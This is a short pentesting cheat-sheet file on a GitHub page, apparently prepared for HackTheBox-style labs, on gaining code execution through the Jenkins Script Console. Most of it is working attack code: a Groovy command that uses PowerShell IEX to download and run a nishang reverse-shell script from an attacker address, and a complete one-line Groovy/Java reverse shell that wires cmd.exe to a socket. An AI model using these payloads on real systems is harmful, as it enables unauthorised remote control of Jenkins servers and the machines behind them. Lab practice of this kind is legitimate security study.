-
Notifications
You must be signed in to change notification settings - Fork 7
/
jenkins
18 lines (14 loc) · 1.03 KB
/
jenkins
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Validate version for deserialization
https://alionder.net/jenkins-script-console-code-exec-reverse-shell-java-deserialization/
# Validate if it requires auth to inject script
# Manage Jenkins -> Script Console
# Downloading and executing reverse shell ps1 from nishang
cmd = """ powershell "IEX(New-Object Net.WebClient().downloadString('http://10.10.14.X/Invoke-PowerShellTcp.ps1')" """
println cmd.execute().text
# Script console reverse shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
# Coding a new project
see ippsec Jeeves